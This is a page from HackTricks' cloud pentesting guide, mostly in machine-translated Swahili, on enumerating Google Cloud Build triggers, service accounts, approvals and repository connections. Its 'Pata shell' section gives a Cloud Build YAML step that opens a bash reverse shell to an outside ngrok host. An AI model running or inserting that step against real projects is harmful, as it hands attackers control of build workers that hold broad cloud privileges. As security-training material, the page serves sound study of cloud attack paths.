GCP - Cloud Build Enum

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Google Cloud Build ni jukwaa la CI/CD lililosimamiwa ambalo linautomate mchakato wa kujenga na kutolewa kwa programu, likijumuisha na hifadhi za msimbo wa chanzo na kusaidia lugha nyingi za programu. In aruhusu waendelezaji kujenga, kujaribu, na kutekeleza msimbo kiotomatiki huku ikitoa kubadilika kubinafsisha hatua za kujenga na mchakato.

Kila Cloud Build Trigger ni husika na Hifadhi ya Cloud au moja kwa moja imeunganishwa na hifadhi ya nje (Github, Bitbucket na Gitlab).

Singeweza kuona njia yoyote ya kuiba token ya Github/Bitbucket kutoka hapa au kutoka Hifadhi za Cloud kwa sababu wakati hifadhi inapopakuliwa inafikiwa kupitia URL ya https://source.cloud.google.com/ na Github haifikiwi na mteja.

Events

Cloud Build inaweza kuanzishwa ikiwa:

• Push to a branch: Tafadhali eleza tawi

• Push a new tag: Tafadhali eleza tag

• Pull request: Tafadhali eleza tawi linalopokea PR

• Manual Invocation

• Pub/Sub message: Tafadhali eleza mada

• Webhook event: Itatoa URL ya HTTPS na ombi lazima liidhinishwe kwa siri

Execution

Kuna chaguzi 3:

• A yaml/json ikiashiria amri za kutekeleza. Kawaida: /cloudbuild.yaml

• Moja tu ambayo inaweza kuainishwa “inline” katika konsoli ya wavuti na katika cli

• Chaguo la kawaida zaidi

• Husika kwa ufikiaji usio na uthibitisho

• A Dockerfile ya kujenga

• A Buildpack ya kujenga

SA Permissions

Akaunti ya Huduma ina cloud-platform scope, hivyo inaweza kutumia haki zote. Ikiwa hakuna SA imeainishwa (kama wakati wa kuwasilisha) SA ya default <proj-number>@cloudbuild.gserviceaccount.com itatumika.

Kwa kawaida hakuna ruhusa zinazotolewa lakini ni rahisi sana kuzitoa:

Approvals

Inawezekana kuunda Cloud Build ili ihitaji idhini kwa ajili ya utekelezaji wa kujenga (imezimwa kwa kawaida).

PR Approvals

Wakati trigger ni PR kwa sababu mtu yeyote anaweza kufanya PR kwa hifadhi za umma itakuwa hatari sana tu kuruhusu utekelezaji wa trigger na PR yoyote. Kwa hivyo, kwa kawaida, utekelezaji utakuwa otomatiki kwa wamiliki na washiriki, na ili kutekeleza trigger na PR za watumiaji wengine mmiliki au mshiriki lazima aweke maoni /gcbrun.

Connections & Repositories

Mawasiliano yanaweza kuundwa juu ya:

• GitHub: Itatoa ombi la OAuth linaloomba ruhusa za kupata token ya Github ambayo itahifadhiwa ndani ya Meneja wa Siri.

• GitHub Enterprise: Itahitaji kusakinisha GithubApp. Token ya uthibitishaji kutoka kwa mwenyeji wako wa GitHub Enterprise itaundwa na kuhifadhiwa katika mradi huu kama siri ya Meneja wa Siri.

• GitLab / Enterprise: Unahitaji kutoa token ya ufikiaji wa API na token ya ufikiaji wa API ya Kusoma ambayo itahifadhiwa katika Meneja wa Siri.

Mara tu muunganisho unapoundwa, unaweza kuutumia kuunganisha hifadhi ambazo akaunti ya Github ina ufikiaji.

Chaguo hili linapatikana kupitia kitufe:

Kumbuka kwamba hifadhi zilizounganishwa kwa njia hii zinapatikana tu katika Triggers zinazotumia kizazi cha 2.

Connect a Repository

Hii si sawa na connection. Hii inaruhusu njia tofauti za kupata ufikiaji wa hifadhi ya Github au Bitbucket lakini haizalishi kituo cha muunganisho, lakini inazalisha kituo cha hifadhi (cha kizazi cha 1).

Chaguo hili linapatikana kupitia kitufe:

Storage

Wakati mwingine Cloud Build itaunda hifadhi mpya kuhifadhi faili za trigger. Hii inatokea kwa mfano katika mfano ambao GCP inatoa na:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

A Storage bucket called security-devbox_cloudbuild imeundwa kuhifadhi .tgz yenye faili zitakazotumika.

Pata shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Install gcloud ndani ya cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

Unaweza kupata habari nyeti katika usanidi wa kujenga na kumbukumbu.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Kuinua Mamlaka

GCP - Cloudbuild Privesc

Ufikiaji Usio Na Uthibitisho

GCP - Cloud Build Unauthenticated Enum

Baada ya Kutekeleza

GCP - Cloud Build Post Exploitation

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.